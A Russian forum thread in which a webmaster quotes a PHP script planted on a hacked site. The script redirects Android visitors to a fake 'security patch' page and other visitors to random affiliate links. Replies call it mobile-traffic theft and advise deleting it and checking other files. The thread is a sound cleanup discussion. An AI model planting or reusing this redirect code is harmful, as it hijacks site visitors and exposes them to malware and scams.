Непонятный php

K
На сайте с 02.04.2014
Offline
19
575

Приветствую!

Помогаю с одним сайтом (самопис), на сервере есть множество папок типа eds или ffff

с такого рода кодом:

<?php
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$android_urls = array (
'http://mobile.mobilesecurityhub.ru/securitypatch.php',
'http://mobile.mobilesecurityhub.ru/securitypatch.php',
);

$not_android_urls = array (
'http://com-of59.net/jerkz.php?a=305665&c=wl_con&s=1818XXX',
'http://com-ta9.net/flfp.php?a=305665&c=wl_con&s=1818XXX',
'http://com-sm30.net/jjfqs.php?a=305665&c=wl_con&s=1818XXX',
);

$n = mt_rand(0,count($not_android_urls)-1);
$rand_url=$not_android_urls[$n];


if ( $android == true)
{
$n = mt_rand(0,count($android_urls)-1);
$rand_url=$android_urls[$n];
}

?>
<meta http-equiv="refresh" content="2; url=<?php echo $rand_url;?> ">

На сколько я понимаю это спам для пользователей которые попадают на сайт с телефона, с андроидом?

Appassionato
На сайте с 22.06.2010
Offline
328
#1

Взлом. Воруют моб. траф.

Хостинг Работает, как Часы ( http://tinyurl.com/nze85xw ). Проверено за 11+ лет.
K
На сайте с 02.04.2014
Offline
19
#2
Appassionato:
Взлом. Воруют моб. траф.

Ясно, благодарю.

Если я просто удалю все эти папки, этого будет достаточно?

Там сайт смесь .php и .html

S
На сайте с 17.08.2008
Offline
114
#3
Там сайт смесь .php

и оставшиеся пхп файлы посмотрите на предмет подобных посторонних вставок.

K
На сайте с 02.04.2014
Offline
19
#4
smbbws:
и оставшиеся пхп файлы посмотрите на предмет подобных посторонних вставок.

Понял, благодарю!

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий